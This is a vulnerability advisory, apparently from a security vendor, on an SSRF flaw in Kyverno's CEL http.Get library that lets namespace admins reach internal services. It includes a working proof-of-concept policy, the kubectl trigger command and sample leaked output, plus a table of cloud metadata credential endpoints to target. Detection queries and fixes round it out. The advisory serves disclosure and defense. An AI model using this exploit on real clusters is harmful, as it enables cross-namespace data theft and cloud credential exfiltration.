


























A critical SSRF (Server-Side Request Forgery, where an attacker tricks a server into making HTTP requests on their behalf) vulnerability affects Kyverno versions 1.16.0 and later. Users with namespace-scoped permissions can make arbitrary HTTP requests from the Kyverno admission controller pod, bypassing Kubernetes RBAC entirely. This enables access to internal cluster services, cross-namespace data theft, and cloud credential exfiltration via metadata endpoints. No active exploitation has been observed. A fix has been merged to the Kyverno main branch (PR #15789, April 6, 2026) but no patched release is available yet.
Note: The NVD vector uses PR:N (no privileges required). In practice, exploitation requires namespace-scoped policy creation permissions (PR:L), but no additional authentication beyond that.
| Attribute | Details |
|---|---|
| CVE | CVE-2026-4789 |
| Severity | Critical (CVSS 9.8, NVD) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Affected Versions | >= 1.16.0 |
| Privileges Required | Low (namespace-scoped policy creation) |
| Exploit Complexity | Low |
| Active Exploitation | No |
| Fix Available | Fix merged to main (PR #15789, Apr 6). No patched release yet (latest: 1.17.1). |
Kyverno is a Kubernetes-native policy engine that operates as a dynamic admission controller (a component that intercepts API requests to the Kubernetes API server before they are persisted, allowing it to validate, modify, or reject them). Organizations use it to enforce Pod Security Standards, verify image signatures, and ensure compliance.
Kyverno supports two policy categories: cluster-scoped policies (which require cluster-admin privileges) and namespaced policies (which can be delegated to namespace administrators). The security model assumes namespaced policies are restricted to their namespace. This vulnerability breaks that assumption.
Kyverno 1.16.0 introduced CEL-based policies (CEL, or Common Expression Language, is a lightweight expression language used in Kubernetes for inline policy logic) with http.Get() and http.Post() functions. The vulnerability is in how the HTTP library is initialized in the policy compilers.
Compare how Kyverno’s two CEL libraries handle namespace scoping:
resource.Lib — SECURE (enforces namespace)
resource.Lib(
resource.Context{ContextInterface: libsctx},
namespace, // namespace parameter ENFORCED
resource.Latest(),
)http.Lib — VULNERABLE (no namespace enforcement)
http.Lib(
http.Context{ContextInterface: http.NewHTTP(nil)},
http.Latest(), // NO namespace, NO URL validation
)The resource.Lib takes a namespace parameter and restricts access accordingly. The http.Lib takes no such parameter. This inconsistency is the root cause: one library was built with namespace isolation in mind, the other was not.
Location: pkg/cel/libs/http/http.go (now in kyverno/sdk)
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// url is used directly -- NO VALIDATION
// No blocklist for 169.254.169.254
// No namespace restrictions
// No destination checks
for k, v := range headers {
req.Header.Add(k, v)
}
resp, err := r.client.Do(req)
...
}The critical insight: it matters WHERE the HTTP request originates from, not WHO wrote the policy.
When a namespaced policy calls http.Get(), the request does not execute in the context of the policy author’s identity. It executes from the Kyverno admission controller pod. This pod typically runs in the kyverno namespace with a privileged network position:
This is why the vulnerability is critical. A namespace administrator who should only have power within their own namespace can now reach anything the Kyverno pod’s network stack can reach. The trust boundary between “namespace-scoped” and “cluster-scoped” dissolves.
Tested on: Kyverno v1.16.2, Helm chart 3.6.2, Kubernetes v1.35.0
$ kubectl auth can-i get pods -n kube-system \
--as=system:serviceaccount:attacker-ns:namespace-admin
no$ kubectl auth can-i get services -n kube-system \
--as=system:serviceaccount:attacker-ns:namespace-admin
noThe attacker creates a NamespacedValidatingPolicy in their own namespace. This only requires namespace-level permissions, not cluster-admin:
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-exploit
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
resources: ["configmaps"]
operations: ["CREATE"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
messageExpression: |
'EXFILTRATED: ' + string(variables.stolenData)$ kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-adminResult (from PoC on kind cluster with test service in kube-system):
error: failed to create configmap: admission webhook
"nvpol.validate.kyverno.svc-fail" denied the request:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9The PoC script sets up a test service (hashicorp/http-echo) in kube-system with known placeholder values and then exfiltrates them. The attacker, who has zero RBAC access to kube-system, successfully triggered an HTTP request from the Kyverno pod to an internal service in another namespace. The response data is reflected back in the admission webhook error message. The full automated PoC script creates a kind cluster, installs Kyverno, and demonstrates the complete exploit chain end-to-end.
Cloud metadata endpoints (the internal HTTP services at 169.254.169.254 that cloud providers use to distribute credentials and configuration to VMs) authenticate based on network position alone. If your pod can reach the endpoint, you get credentials. No password, no token, no authentication. This is by design.
This means an attacker exploiting this SSRF from a cloud-hosted Kubernetes cluster can potentially retrieve temporary cloud credentials (IAM role keys on AWS, service account tokens on GCP, managed identity tokens on Azure) that could allow further lateral movement into cloud resources outside the cluster entirely.
| Provider | Credential Endpoint | Auth |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | None |
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/ | Header only |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01 | None |
This vulnerability is not just a Kyverno bug. It illustrates a structural pattern that defenders should look for across any admission controller or policy engine that accepts user-defined logic. Three properties combine to create SSRF risk:
This pattern applies beyond Kyverno. Any Kubernetes component that combines “runs with cluster-level network access” with “evaluates user-supplied expressions that can trigger outbound requests” should be audited for SSRF. OPA/Gatekeeper’s http.send in Rego, Falco’s plugin system, and custom webhook servers with templated external calls are all worth examining through this lens.
The underlying design question: should namespaced (delegated) policies ever be allowed to trigger outbound HTTP from a privileged component? In Kyverno’s case, http.Lib was likely added to support legitimate use cases like calling external validation APIs from CEL expressions. But the feature was shipped without URL restrictions, without namespace-aware scoping, and without distinguishing between cluster-scoped and namespaced policy contexts. The mitigation PR (#15729) addresses this by conditionally disabling http.Lib for namespaced policies while retaining it for cluster-scoped policies. A complete fix would also require URL validation in the kyverno/sdk library.
Search for namespaced policies using HTTP functions:
# Find policies using http.Get or http.Post
kubectl get namespacedvalidatingpolicies -A -o yaml | \
grep -E "http\.(Get|Post)"
kubectl get namespaceddeletingpolicies -A -o yaml | \
grep -E "http\.(Get|Post)"Watch for connections from the Kyverno admission controller to destinations it should not be reaching:
# Splunk/SIEM pseudocode
index=kubernetes sourcetype=kyverno
| search policy_type="Namespaced*"
| search (expression="*http.Get*" OR expression="*http.Post*")
| stats count by namespace, policy_namecreate permissions on namespacedvalidatingpolicies and namespaceddeletingpolicies. If namespace administrators do not need CEL HTTP functions, consider restricting these API resources via RBAC or admission rules.A fix has been merged to the Kyverno main branch (PR #15789, merged April 6, 2026). The original mitigation PR (#15729), submitted by the Orca Security Research Pod, was closed by the maintainers who implemented their own more comprehensive fix. The maintainer fix includes: disabling http.Lib for namespaced policies by default, a new --allowHTTPInNamespacedPolicies toggle for opt-in, HTTP blocklist/allowlist flags with defaults covering loopback, link-local, RFC-1918, cloud metadata endpoints, and CGNAT ranges, plus conformance tests.
Important: No released version contains this fix yet. The latest release is 1.17.1 (February 19, 2026). Users should upgrade as soon as a patched release ships. In the meantime, apply the network policy and RBAC mitigations described above.
Original mitigation PR: https://github.com/kyverno/kyverno/pull/15729 (closed)
Maintainer fix PR: https://github.com/kyverno/kyverno/pull/15789 (merged to main)
| Date | Event |
|---|---|
| 2026-01-29 | Reported via GHSA-rggm-jjmc-3394 |
| 2026-02-04 | Follow-up to maintainers (no response) |
| 2026-02-06 | Submitted to CERT/CC |
| 2026-02-09 | CERT/CC opened case VU#655822 |
| 2026-03-24 | CVE-2026-4789 assigned |
| 2026-03-26 | Mitigation PR #15729 submitted |
| 2026-03-26 | Maintainer discussion on PR; clarification on threat model provided |
| 2026-03-30 | Coordinated public disclosure (VU#655822 published) |
| 2026-04-05 | JimBugwadia closes PR #15729, opens maintainer fix PR #15789 |
| 2026-04-06 | PR #15789 merged to main by Fjogeleit |
Orca’s agentless cloud security platform scans Kubernetes clusters and can identify deployments running vulnerable Kyverno versions (>= 1.16.0). Combined with Orca’s attack path analysis, security teams can prioritize remediation based on actual exposure: which clusters are internet-facing, which lack network policies restricting Kyverno egress, and which run on cloud nodes where metadata endpoint access is not blocked. This context turns a generic CVE alert into an actionable risk assessment.

此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。